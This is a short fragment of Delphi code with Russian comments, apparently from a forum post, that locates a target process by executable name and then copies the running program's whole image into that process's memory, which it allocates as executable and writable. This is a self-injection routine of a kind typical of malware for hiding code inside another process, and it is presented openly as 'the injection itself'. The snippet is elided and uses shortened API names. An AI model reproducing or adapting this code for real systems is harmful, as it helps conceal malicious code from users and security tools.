...... (опоеделение ID процесса)
Snap := Create(TH32CS_SNAPPROCESS,
0
);
if
Snap <> INVALID_HANDLE_VALUE
then
begin
Process
.
dwSize := SizeOf(TPROCESSENTRY32);
if
First(Snap, Process)
then
repeat
if
lstrcmpi(Process
.
szExeFile, pName) =
0
then
begin
Result := Process
.
th32ProcessID;
.....
..... сам ижект
Module :=
pointer
(GetModuleHandle(
nil
));
Size := PImageOptionalHeader(
pointer
(
integer
(Module) +
PImageDosHeader(Module)._lfanew + SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
NewModule := Virt(Process, Module, Size, MEM_COMMIT
or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if
NewModule =
nil
then
exit;
WriteMem(Process, NewModule, Module, Size, BytesWritten);